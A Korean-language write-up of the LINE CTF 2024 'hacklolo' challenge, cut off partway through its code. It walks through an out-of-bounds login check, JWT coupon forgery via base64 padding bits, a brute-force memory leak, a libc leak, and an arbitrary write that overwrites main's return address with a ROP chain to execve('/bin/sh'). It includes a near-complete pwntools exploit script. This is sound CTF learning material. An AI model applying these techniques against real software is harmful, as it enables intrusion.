LINE CTF 2024 - hacklolo

0x00. Introduction

[*] '/home/user/hacklolo'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

C++๋กœ ๋งŒ๋“ค์–ด์ง„ ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ๋ถ„์„ํ•˜๋Š”๋ฐ์— ์ƒ๋‹นํžˆ ๊นŒ๋‹ค๋กœ์› ๋‹ค.

Structure

struct user_db // sizeof=0xD68
{
    struct user user_list[32];
    user *user_list_ptr;
    _QWORD count;
    _QWORD login_try;
    _QWORD is_login;
    char *welcome_ptr;
    _QWORD welcome_size;
    char welcome[8];
    _QWORD canary;
    user *current_user;
    _QWORD login_success;
    char *jwt_key;
    _QWORD jwt_key_size;
    _QWORD jwt_key_end;
};
struct user // sizeof=0x68
{
    char *pw_ptr;
    _QWORD pw_size;
    char pw[8];         // or could be nothing
    _QWORD end_pw;
    char *id_ptr;
    _QWORD id_size;
    char id[8];         // or could be nothing
    _QWORD end_id;
    char *email_ptr;
    _QWORD email_size;
    char email[8];      // or could be nothing
    _QWORD end_email;
    _QWORD age;
};

C++์—์„œ basic_string ๊ฐ์ฒด๊ฐ€ ๊ฐ€์ง€๋Š” ํŠน์„ฑ ๋•Œ๋ฌธ์ธ์ง€ ๋ฌธ์ž์—ด์„ ๊ทธ๋ƒฅ ์ €์žฅํ•˜์ง€ ์•Š๊ณ  id๋ฅผ ์˜ˆ๋ฅผ ๋“ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ €์žฅํ•œ๋‹ค.

  • id_ptr : ๋ฌธ์ž์—ด์ด ์ €์žฅ๋œ ์ฃผ์†Œ
  • id_size : ๋ฌธ์ž์—ด์˜ ๊ธธ์ด
  • id[8] : ๊ธธ์ด 8๊นŒ์ง€์˜ ๋ฌธ์ž์—ด์€ ์—ฌ๊ธฐ์— ์ €์žฅํ•˜๊ณ  ๋” ๊ธด ๋ฌธ์ž์—ด์€ ๋‹ค๋ฅธ ์˜์—ญ์„ ํ• ๋‹น๋ฐ›์•„ ์ €์žฅ
  • id_end : ์“ฐ์ด์ง€ ์•Š๋Š” ์˜์—ญ์œผ๋กœ chunk ๊ด€๋ จ ๋ฐ์ดํ„ฐ๋กœ ์ถ”์ •

0x01. Vulnerability

Improper Check

__int64 __fastcall login_790E(user_db *user_db)
{
  ...
  for ( i = 0; i <= 32; ++i )
  {
    a2_20_23596(id, &user_db->user_list[i]);
    id_same = strncmp_1043E(id, id_input);
    std::string::~string(id);
    if ( id_same )
    {
      a2_0_235C8(pw, &user_db->user_list[i]);
      pw_same = strncmp_1043E(pw, pw_input);
      std::string::~string(pw);
      if ( pw_same )
      {
        user_db->current_user = &user_db->user_list[i];
        a2_20_23596(v15, &user_db->user_list[i]);
        sub_F7F3(id, "[*] Login Success. Hello, ", v15);
        ...
      }
    }
  }
  ...
}

used_db์—๋Š” ์ด 32๊ฐœ์˜ user๋ฅผ ์ €์žฅํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฐ„์ด ์žˆ๋Š”๋ฐ login_790E()์—์„œ user๋ฅผ ํ™•์ธํ•˜๋Š” ๋ฒ”์œ„๋Š” 33๊ฐœ์ด๋‹ค. ๋•Œ๋ฌธ์— user_list[32] ์ดํ›„ ์˜์—ญ์ด ๋˜ ํ•˜๋‚˜์˜ user๋กœ ์ธ์‹๋˜๋ฉฐ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์˜์—ญ์ด ๊ฒน์ณ์ง„๋‹ค.

after user_listuser
user *user_list_ptrchar *pw_ptr
_QWORD count_QWORD pw_size
_QWORD login_trychar pw[8]
_QWORD is_login_QWORD end_pw
char *welcome_ptrchar *id_ptr
_QWORD welcome_size_QWORD id_size
char welcome[8]char id[8]
_QWORD canary_QWORD end_id
user *current_userchar *email_ptr
_QWORD login_success_QWORD email_size
char *jwt_keychar email[8]
_QWORD jwt_key_size_QWORD end_email
_QWORD jwt_key_end

๋”ฐ๋ผ์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ ์‹คํ–‰ ์‹œ ์ถœ๋ ฅ๋˜๋Š” "Welcome!"์ด id์ธ ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

JWT Counterfeit

join์‹œ ์ƒ์„ฑ๋˜๋Š” coupon์€ HS256์œผ๋กœ ์ƒ์„ฑํ•œ JWT ๊ฐ’์œผ๋กœ, siganture ๋ถ€๋ถ„์€ HMAC-SHA256์„ ์ด์šฉํ•ด ์ƒ์„ฑ๋œ๋‹ค. ์ด ๋•Œ ์ถœ๋ ฅ๊ฐ’์ด 256๋น„ํŠธ(32๋ฐ”์ดํŠธ)์ด๊ณ  ์ด ๊ฐ’์„ base64URL์œผ๋กœ ์ธ์ฝ”๋”ฉํ•œ๋‹ค. ์ธ์ฝ”๋”ฉ ๊ณผ์ •์—์„œ base64๊ฐ€ 3๋ฐ”์ดํŠธ ๋‹จ์œ„๋กœ ์ธ์ฝ”๋”ฉ์„ ํ•˜๋ฏ€๋กœ padding(=)์ด ๋ถ™๊ฒŒ ๋œ๋‹ค.

base64.png

๊ทธ๋Ÿฐ๋ฐ ์‚ฌ์‹ค = ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ์˜ ๋งˆ์ง€๋ง‰ ๋‘ ๋น„ํŠธ๊นŒ์ง€ 00์œผ๋กœ padding์ด ๋ถ™๋Š”๋‹ค. ๋”ฐ๋ผ์„œ ๋””์ฝ”๋”ฉ ๊ณผ์ •์—์„œ ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ์˜ ๋งˆ์ง€๋ง‰ ๋‘ ๋น„ํŠธ๋Š” ์›๋ณธ ๋ฐ์ดํ„ฐ์— ์˜ํ–ฅ์„ ๋ฏธ์น˜์ง€ ๋ชปํ•œ๋‹ค.

๋ฐ”๊ฟ” ๋งํ•˜๋ฉด ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ์˜ ๋งˆ์ง€๋ง‰ ๋‘ ๋น„ํŠธ์— 00, 01, 10, 11 ๋„ท ์ค‘ ์•„๋ฌด๊ฑฐ๋‚˜ ๋“ค์–ด๊ฐ€๋„ ๊ฐ™์€ ๊ฐ’์œผ๋กœ ๋””์ฝ”๋”ฉ๋œ๋‹ค. ๋””์ฝ”๋”ฉ ๊ฐ’์ด ๊ฐ™๋‹ค๋ฉด coupon ๊ฐ’์—์„œ ํ•œ ๋น„ํŠธ์”ฉ ๊ฐ’์„ ์ฆ๊ฐ€์‹œ์ผœ๋„ ์„œ๋ช… ๊ฒ€์ฆ์„ ํ†ต๊ณผํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์—ฌ๋Ÿฌ๋ฒˆ coupon์„ ๋“ฑ๋กํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

JWS์˜ ๊ตฌํ˜„ ์ƒ ๋ฐœ์ƒํ•˜๋Š” ๋ฌธ์ œ๋กœ ์–ด๋–ป๊ฒŒ ์จ๋จน์„ ์ˆ˜ ์žˆ์„์ง„ ๋ชจ๋ฅด๊ฒ ์ง€๋งŒ ๋‹ค๋ฅธ ๊ณณ์—์„œ๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ ๊ฐ™๋‹ค.

0x02. Exploit

Memory Leak

user_db->user_list[32] ์ดํ›„์˜ ์˜์—ญ(Welcome! ๊ณ„์ •)์˜ ๋ฉ”๋ชจ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

# Welcome!
gefโžค  x/13gx $rbp-0xa0
0x7fffffffec60: 0x00007fffffffdf60      0x0000000000000001
0x7fffffffec70: 0x0000000000000000      0x0000000000000000
0x7fffffffec80: 0x00007fffffffec90      0x0000000000000008
0x7fffffffec90: 0x21656d6f636c6557      0xc8647733c17b4d00
0x7fffffffeca0: 0x00007ffff77d7ce0      0x0000000000000000
0x7fffffffecb0: 0x00005555555a5f80      0x0000000000000020
0x7fffffffecc0: 0x000000000000003c

pw_ptr๋ฅผ ์˜๋ฏธํ•˜๋Š” ์˜์—ญ์—๋Š” user_list์˜ ์‹œ์ž‘ ์ฃผ์†Œ์ธ 0x7fffffffdf60๊ฐ€ ๋‹ด๊ฒจ์žˆ๊ณ , pw_size๋ฅผ ์˜๋ฏธํ•˜๋Š” ์˜์—ญ์—๋Š” ๊ณ„์ •์˜ ๊ฐœ์ˆ˜๋ฅผ ์˜๋ฏธํ•˜๋Š” count๊ฐ€ ๋‹ด๊ฒจ์žˆ๋‹ค.

ํ˜„์žฌ count๋Š” main() ์ดˆ๋ฐ˜๋ถ€์— ํ˜ธ์ถœ๋˜๋Š” setup_admin_7D3A()์—์„œ admin ๊ณ„์ •์„ ์ถ”๊ฐ€ํ•˜๋ฉด์„œ 1์ด ๋˜์–ด์žˆ๋‹ค. ๋”ฐ๋ผ์„œ Welcome! ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 0x7fffffffdf60์— ์ €์žฅ๋œ 1๋ฐ”์ดํŠธ์ด๋‹ค.

์ด๋ฅผ ์ด์šฉํ•ด user๋ฅผ ๋Š˜๋ ค๊ฐ€๋ฉฐ 1๋ฐ”์ดํŠธ์”ฉ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ brute forcingํ•˜์—ฌ memory leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

# admin
gefโžค  x/13gx $rbp-0xda0
0x7fffffffdf60: 0x00007fffffffdf70      0x0000000000000008
0x7fffffffdf70: 0x6e374f7175585a68      0x0000000000000300
0x7fffffffdf80: 0x00007fffffffdf90      0x0000000000000005
0x7fffffffdf90: 0x0000006e696d6461      0x00000000001e3e30
0x7fffffffdfa0: 0x00005555555a5ed0      0x0000000000000012
0x7fffffffdfb0: 0x000000000000001e      0x000000000000001c
0x7fffffffdfc0: 0x0000000000000022

0x7fffffffdf60์€ ๋‹ค์‹œ ๋งํ•˜๋ฉด user_list[0]์ด๊ณ  ์ตœ์ดˆ์˜ ๊ณ„์ •์ธ admin์˜ ์ •๋ณด๊ฐ€ ์ €์žฅ๋˜์–ด์žˆ๋‹ค. count๋Š” ์ตœ๋Œ€ 32๊นŒ์ง€ ์ฆ๊ฐ€์‹œํ‚ฌ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ตœ๋Œ€ 32๋ฐ”์ดํŠธ๊นŒ์ง€ leak์ด ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ๋งˆ์ง€๋ง‰ 8๋ฐ”์ดํŠธ๋Š” basic_string์˜ ๊ธฐํƒ€ ๋ฐ์ดํ„ฐ์ด๋ฏ€๋กœ ์ด 26๋ฐ”์ดํŠธ๋งŒ leak์„ ์‹œ๋„ํ–ˆ๋‹ค.

์ด๋ฅผ ํ†ตํ•ด stack ์ฃผ์†Œ์™€ admin์˜ pw๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

def memory_leak(s):
    hit = bytes()
    for i in range(0x1a):
        for j in range(0x100):
            if j in [0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20]:
                continue
            r = login(s, b"Welcome!", hit + j.to_bytes(1, 'little'))
            if b"Login Success" in r:
                hit += j.to_bytes(1, 'little')
                sys.stdout.write(f"\rhit : {hit}")
                sys.stdout.flush()
                break
        logout(s)
        it = str(i + 1).encode()
        join(s, it, it, it, i + 1)
    sys.stdout.write(f"\n")
    return hit

\t, \n ๋“ฑ์„ ์˜๋ฏธํ•˜๋Š” ๊ฐ’๋“ค์€ ์ž…์ถœ๋ ฅ์ƒ leak์ด ๋ถˆ๊ฐ€๋Šฅํ•˜์ง€๋งŒ ์ž์ฃผ ๋ฐœ์ƒํ•˜๋Š” ๋ฌธ์ œ๋Š” ์•„๋‹Œ ๊ฒƒ ๊ฐ™๋‹ค.

Win Game

๋กœ๊ทธ์ธ์„ ํ•˜๋ฉด Play Game, Apply Coupon, Coupon usage history, Change PW, Print Information์ค‘ ํ•˜๋‚˜๋ฅผ ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด ์ค‘ Change PW์™€ Print Information์€ Play Game์—์„œ ๋ณด์Šค๋ฅผ ์“ฐ๋Ÿฌ๋œจ๋ฆฌ๊ณ  regular member๊ฐ€ ๋˜์–ด์•ผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฉ”๋‰ด์ด๋‹ค.

๋ฌธ์ œ๋ฅผ ํ’€ ๋•Œ๋Š” ๋‹ค์Œ ๋‹จ๊ณ„๋กœ ๋„˜์–ด๊ฐ€๊ธฐ ์œ„ํ•ด ์ผ๋‹จ ๊ฒŒ์ž„์„ ๊นผ๋Š”๋ฐ ์ง€๊ธˆ์ฒ˜๋Ÿผ ๋จผ์ € exploit ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์„ธ์›Œ์„œ ๋ชฉ์ ์„ ๊ฐ€์ง€๊ณ  ์ง„ํ–‰ํ•˜๋Š” ์Šต๊ด€์„ ๋“ค์—ฌ์•ผ๊ฒ ๋‹ค.

OOB ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด์„œ Welcome! ๊ณ„์ •์œผ๋กœ ๊ฒŒ์ž„์„ ๊นจ๊ณ  Change PW๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด pw_ptr์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ณณ์˜ ๊ฐ’์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋‹ค. Welcome!->pw_ptr์€ admin->pw_ptr์ด ์ €์žฅ๋œ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ์œผ๋ฏ€๋กœ, admin->pw_ptr์„ ์›ํ•˜๋Š” ์ฃผ์†Œ๋กœ ๋ฐ”๊ฟ”๋†“๊ณ  admin์œผ๋กœ ๋กœ๊ทธ์ธํ•ด์„œ ๋‹ค์‹œ Change PW๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ์•ž์„œ ์„ค์ •ํ•œ ์›ํ•˜๋Š” ์ฃผ์†Œ์— ๋ฐ์ดํ„ฐ๋ฅผ ์“ธ ์ˆ˜ ์žˆ๋Š” AAW๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋‹ค๋งŒ ์™„์ „ํžˆ AAW๋Š” ์•„๋‹Œ ๊ฒƒ์ด admin->pw_ptr์„ ๋ฐ”๊พธ๋Š” ์ˆœ๊ฐ„ admin์œผ๋กœ ๋กœ๊ทธ์ธ์„ ํ•˜๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๋ฐ”๋€๋‹ค. ๋”ฐ๋ผ์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์“ธ ์ฃผ์†Œ์— ์ €์žฅ๋œ ๊ฐ’์„ ์•Œ๊ณ  ์žˆ์–ด์•ผ ํ•˜๋Š”๋ฐ, ์ง€๊ธˆ ์ƒ๊ฐํ•ด๋ณด๋‹ˆ Welcome!์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฐ”๊ฟ€ ๋•Œ admin->pw_size๊นŒ์ง€ 1๋กœ ๋ฐ”๊ฟ”์„œ brute forcing์„ ํ•ด๋„ ๊ดœ์ฐฎ์„ ๊ฒƒ ๊ฐ™๋‹ค.

์•„๋ฌดํŠผ ๊ฒŒ์ž„์€ ๋‚˜๋ฅผ ๋”ฐ๋ผ์˜ค๋Š” Enemy๋ฅผ ํ”ผํ•ด Item์„ ํš๋“ํ•ด์„œ Attack๊ณผ Defense๋ฅผ ์˜ฌ๋ฆฐ ๋’ค Enemy์™€ ์‹ธ์›Œ์•ผ ํ•˜๋Š”๋ฐ Item์„ ๋‹ค ๋จน์–ด๋„ Enemy๋ฅผ ์ด๊ธธ ์ˆ˜ ์—†๋‹ค.

์ด ๋•Œ ๊ฐ€์ž… ์‹œ ๋ฐœ๊ธ‰๋˜๋Š” coupon์„ ์ด์šฉํ•˜๋ฉด Attack์ด ๋‘ ๋ฐฐ๊ฐ€ ๋˜๋ฏ€๋กœ JWT counterfeit ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ์ด ๋„ค๊ฐœ์˜ coupon์„ ์ด์šฉํ•˜๋ฉด Enemy๋ฅผ ์ด๊ธธ ์ˆ˜ ์žˆ๋‹ค.

๋ฌธ์ œ๋Š” ์ƒ์ˆ ํ•œ AAW๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด Welcome! ๊ณ„์ •์ด regular member๊ฐ€ ๋˜์–ด์•ผํ•˜๋Š”๋ฐ Welcome! ๊ณ„์ •์€ ๊ฐ€์ž…๋œ ๊ณ„์ •์ด ์•„๋‹ˆ๋‹ค๋ณด๋‹ˆ ๋ฐœ๊ธ‰๋œ coupon์ด ์—†๋‹ค.

__int64 __fastcall join_8A4A(user_db *user_db)
{
  ...
  if ( user_db->count <= 31 )
  {
    ...
      for ( i = 0; i < user_db->count; ++i )
      {
        a2_20_23596(id_i, &user_db->user_list[i]);
        id_same = strncmp_1043E(id_i, id);
        std::string::~string(id_i);
        if ( id_same )
        {
          std::operator<<<std::char_traits<char>>(&std::cout, "[*] The ID already exists.\r");
          std::ostream::operator<<();
          result = -1;
          goto LABEL_13;
        }
      }
    ...
  }
}

๋‹คํ–‰ํžˆ join_8A4A()์„ ๋ณด๋ฉด id๊ฐ€ ์ค‘๋ณต๋˜์—ˆ๋Š”์ง€๋ฅผ user_list๋ฅผ count๊นŒ์ง€๋งŒ ๋Œ๋ฉด์„œ ํ™•์ธํ•˜๊ธฐ ๋•Œ๋ฌธ์— Welcome!์ด๋ผ๋Š” ๊ณ„์ •์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค. ๋˜ํ•œ login_790E()์—์„œ๋„ id๋งŒ ๋งž๊ณ  pw๊ฐ€ ๋‹ค๋ฅผ ๊ฒฝ์šฐ ๊ทธ๋ƒฅ ๋‹ค์Œ ๋ฃจํ”„๋กœ ๋„˜์–ด๊ฐ€๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€์ž… ์ดํ›„์—๋„ 33๋ฒˆ์งธ Welcome! ๊ณ„์ •์— ๋กœ๊ทธ์ธ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

๋งˆ์ง€๋ง‰์€ ์ƒ์„ฑํ•œ Welcome! ๊ณ„์ •์˜ coupon์„ 33๋ฒˆ์งธ Welcome! ๊ณ„์ •์ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”๊ฐ€์ธ๋ฐ ๋””๋ฒ„๊ฑฐ์—์„œ secret key๋ฅผ ํ™•์ธํ•ด jwt.io์—์„œ ๋‚ด์šฉ์„ ํ™•์ธํ•œ ๊ฒฐ๊ณผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด userid๊ฐ€ ๊ฐ™๊ธฐ ๋•Œ๋ฌธ์— 33๋ฒˆ์งธ Welcome! ๊ณ„์ •์—์„œ coupon์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

jwt info

๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

    # join fake "Welcome!"
    r = join(s, b"Welcome!", b"Welcome@", b"Welcome#", 0x10)
    coupon = r.split(b"issued : ")[1].split(b"\r\n")[0]
    log.info(f"coupon : {coupon}")
    login(s, b"Welcome!", ml + b"\x00\x00")

    # counterfeit coupon
    if not apply_coupon_quadra(s, coupon):
        log.failure(f"bad coupon :(")
        exit()

์ด์ œ ๊ฒŒ์ž„์„ ๊นจ์•ผํ•˜๋Š”๋ฐ ์ฐจํ›„ ๋””๋ฒ„๊น…์„ ์œ„ํ•ด์„œ๋ผ๋„ ์ž๋™ํ™”๋ฅผ ํ•˜๋ ค๊ณ  ํ–ˆ๋Š”๋ฐโ€ฆ ์—ฌ๊ธฐ์—์„œ ANSI escape code๋ฅผ ์‚ฌ์šฉํ•œ ์ž…์ถœ๋ ฅ๋•Œ๋ฌธ์— ์—„์ฒญ ์˜ค๋ž˜๊ฑธ๋ ธ๋‹ค.

๊ฒฐ๊ณผ์ ์œผ๋กœ๋Š” pyte๋ผ๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•ด์„œ map ์ •๋ณด๋ฅผ ํŒŒ์‹ฑํ•ด์™”๊ณ , Item์„ ๋จน๋Š” ์•Œ๊ณ ๋ฆฌ์ฆ˜์€ ์ข‹์€๊ฒŒ ๋– ์˜ค๋ฅด์ง€ ์•Š์•„ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‹จ์ˆœํ•œ ๋ฐฉ์‹์„ ์‚ฌ์šฉํ–ˆ๋‹ค.

  1. ํ™•๋ฅ ์„ ๋†’์ด๊ธฐ ์œ„ํ•ด Enemy์™€ ํ•œ ์นธ ์ฐจ์ด๊ฐ€ ๋˜๋„๋ก ์œ„๋กœ ์ด๋™
  2. ๋งจ ์™ผ์ชฝ ์•„๋ž˜์œผ๋กœ ์ด๋™ - (0, 0)
  3. ๋งจ ์™ผ์ชฝ ์œ„์œผ๋กœ ์ด๋™ - (0, 16)
  4. Item์ด ์žˆ๋Š” column์œผ๋กœ ์ด๋™ - (n, 16)
  5. ๋งจ ์•„๋ž˜๋กœ ์ด๋™ - (n, 0)
  6. Item์„ ๋‹ค ๋จน์—ˆ์œผ๋ฉด 7๋ฒˆ, ๋‚จ์•˜์œผ๋ฉด 2๋ฒˆ
  7. Enemy์™€ ์ „ํˆฌ

์ด์œ ๋Š” ๋ชจ๋ฅด๊ฒ ๋Š”๋ฐ (0, 16)์— ๊ฐ€๋ฉด ๋†’์€ ํ™•๋ฅ ๋กœ Enemy์™€ ๋‘ ์นธ ์ฐจ์ด๊ฐ€ ๋‚˜๊ฒŒ ๋˜์–ด Item์˜ column์„ ๋ณด๊ณ  ๋„ˆ๋ฌด ๊ฐ€๊นŒ์šด ๊ณณ์— ์žˆ์œผ๋ฉด ๊ทธ๋ƒฅ ๊ฒŒ์ž„์„ ์žฌ์‹œ์ž‘ํ•˜๋Š”๊ฒŒ ๋นจ๋ผ ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€ํ–ˆ๋‹ค.

Libc Leak

์ƒ์ˆ ํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ AAW๋ฅผ ์–ป๋Š”๋‹ค ์ณ๋„ RIP๋ฅผ ์–ด๋””๋กœ controlํ•  ์ง€๊ฐ€ ๋ฌธ์ œ์ด๋‹ค. ๋”ฐ๋ผ์„œ libc leak์ด ํ•„์š”ํ•˜๋‹ค๊ณ  ํŒ๋‹จํ–ˆ๊ณ , ์ถœ๋ ฅ๋ถ€๋ฅผ ํ™•์ธํ•ด๋ณด๋‹ˆ Print Information์ด ์žˆ์—ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ email์„ ์ถœ๋ ฅํ•ด์ฃผ๋Š”๋ฐ email_size๊ฐ€ Welcome!->login_success ์˜์—ญ๊ณผ ๊ฒน์นœ๋‹ค.

๋”ฐ๋ผ์„œ ๋กœ๊ทธ์ธ์„ ์„ฑ๊ณต์‹œ์ผœ login_success ๊ฐ’์„ ๋Š˜๋ฆฌ๋ฉด memory leak์ด ๊ฐ€๋Šฅํ•  ๊ฒƒ์œผ๋กœ ํŒ๋‹จํ–ˆ๋‹ค.

์ฃผ์˜ํ•  ๊ฒƒ์€ C++์ด๋ผ์„œ ๊ทธ๋Ÿฐ์ง€ ์‚ฌ์šฉํ•˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ๋งŽ์•„ glibc ์˜์—ญ์„ ์ž˜ ์ฐพ์•„ ๊ฐ€์ ธ์™€์•ผํ•œ๋‹ค.

    logout(s)
    for _ in range(0xa0):
        login(s, b"Welcome!", b"Welcome@")
        logout(s)
    login(s, b"Welcome!", ml + b"\x00\x00")
    r = print_info(s)
    libc = u64(r[0xcc:0xd4])
    lib.address = libc - 0x29d90
    log.info(f"libc : {hex(lib.address)}")

RIP Control

์ด์ œ stack ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ ์žˆ์œผ๋‹ˆ main()์˜ return address๋ฅผ ๋ฎ์–ด์„œ ROP ๊ฐ€์ ฏ๋“ค์„ ์‹คํ–‰ํ•œ ๋’ค execve๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ๋” payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

๋‹ค๋งŒ main() ์ข…๋ฃŒ ์ง์ „์— ํ˜ธ์ถœ๋˜๋Š” free_db_24FBA()์—์„œ ๊ฐ user ์ •๋ณด๋“ค์„ ์ €์žฅํ•œ ๊ฐ์ฒด๋“ค์„ ํ•ด์ œํ•˜๊ธฐ ๋•Œ๋ฌธ์— AAW๋ฅผ ์œ„ํ•ด ๋ฐ”๊ฟ”๋‘” admin->pw_ptr์„ ์›๋ณต์‹œ์ผœ์•ผ ํ•œ๋‹ค.

__int64 __fastcall free_db_24FBA(__int64 user_db)
{
  ...
  if ( user_db )
  {
    for ( i = user_db + 0xD00; ; free_strings_F406(i) )
    {
      result = user_db;
      if ( i == user_db )
        break;
      i -= 0x68LL;
    }
  }
  return result;
}

๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด paylaod๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

    # change admin->pw to point return address of main
    ret = stack + 0xd98
    change_pw(s, p64(ret) + p64(0x8))
    
    # overwrite return address
    logout(s)
    pop_rdi_ret = lib.address + 0x2a3e5
    pop_rsi_ret = lib.address + 0x2be51
    pop_rdx_rbx_ret = lib.address + 0x904a9
    payload = p64(pop_rdi_ret)
    payload += p64(next(lib.search(b"/bin/sh")))
    payload += p64(pop_rsi_ret)
    payload += p64(0)
    payload += p64(pop_rdx_rbx_ret)
    payload += p64(0)
    payload += p64(0)
    payload += p64(lib.symbols["execve"])
    login(s, b"admin", p64(libc))
    change_pw(s, payload)

    # restore admin->pw
    logout(s)
    login(s, b"Welcome!", p64(ret) + p64(len(payload)))
    change_pw(s, p64(stack) + p64(0x8))

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
import sys
import pyte

BINARY = "game"
LIBRARY = "libc.so.6"
CONTAINER = "7e8bfb970414"

def join(s, id, pw, email, age):
    s.sendline(b"1")
    s.sendlineafter(b"Id:\r\n", id)
    s.sendlineafter(b"Pw:\r\n", pw)
    s.sendlineafter(b"Email:\r\n", email)
    s.sendlineafter(b"Age:\r\n", str(age).encode())
    return s.recvuntil(b"Choice : \r\n")

def login(s, id, pw):
    s.sendline(b"2")
    s.sendlineafter(b"id:\r\n", id)
    s.sendlineafter(b"pw:\r\n", pw)
    return s.recvuntil(b"Choice : \r\n")

def quit_(s):
    s.sendline(b"3")
    return s.recvuntil(b"quit\r\n")

def logout(s):
    return s.sendlinethen(b"Choice : \r\n", b"1")

def play_game(s):
    s.sendline(b"2")

def apply_coupon(s, coupon):
    s.sendline(b"3")
    s.sendlineafter(b"coupon : \r\n", coupon)
    r = s.recvuntil(b"Choice : \r\n")
    if r.find(b"successfully") > -1:
        log.success(f"coupon use success")
        return True
    else:
        log.failure(f"something wrong with {coupon}")
        return False

def usage_history(s):
    s.sendline(b"4")
    return s.recvuntil(b"Choice : \r\n")

def change_pw(s, pw):
    s.sendline(b"5")
    s.sendlineafter(b"PW? : \r\n", b"y")
    s.sendlineafter(b"PW : \r\n", pw)
    return s.recvuntil(b"Choice : \r\n")

def print_info(s):
    s.sendline(b"6")
    return s.recvuntil(b"Choice : \r\n")

def memory_leak(s):
    hit = bytes()
    for i in range(0x1a):
        for j in range(0x100):
            if j in [0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20]:
                continue
            r = login(s, b"Welcome!", hit + j.to_bytes(1, 'little'))
            if b"Login Success" in r:
                hit += j.to_bytes(1, 'little')
                sys.stdout.write(f"\rhit : {hit}")
                sys.stdout.flush()
                break
        logout(s)
        it = str(i + 1).encode()
        join(s, it, it, it, i + 1)
    sys.stdout.write(f"\n")
    return hit

def apply_coupon_quadra(s, coupon):
    apply_coupon(s, coupon)
    coupon_dup = coupon[:-1] + chr(coupon[-1] + 1).encode()
    apply_coupon(s, coupon_dup)
    coupon_dup = coupon_dup[:-1] + chr(coupon_dup[-1] + 1).encode()
    apply_coupon(s, coupon_dup)
    coupon_dup = coupon_dup[:-1] + chr(coupon_dup[-1] + 1).encode()
    r = apply_coupon(s, coupon_dup)
    return r

def parse_map(data, p=0):
    # ํ„ฐ๋ฏธ๋„ ํฌ๊ธฐ ์„ค์ • (24ํ–‰, 80์—ด ๋“ฑ์œผ๋กœ ์„ค์ •)
    screen = pyte.Screen(80, 24)
    stream = pyte.Stream(screen)

    stream.feed(data.decode('utf-8'))

    # ํ™”๋ฉด ์ถœ๋ ฅ ํŒŒ์‹ฑ ํ›„ 'I', 'O', 'E' ์œ„์น˜ ์ฐพ๊ธฐ
    positions = {'I': [], 'O': [], 'E': []}
    for row_num, row in enumerate(screen.display, start=1):
        if row_num < 4:
            continue
        for col_num, char in enumerate(row, start=1):
            if char in positions:
                positions[char].append((row_num, col_num))
    
    if p == 1:
        for line in screen.display:
            print(line)
        print(positions)
    return positions

def move(s, direction):
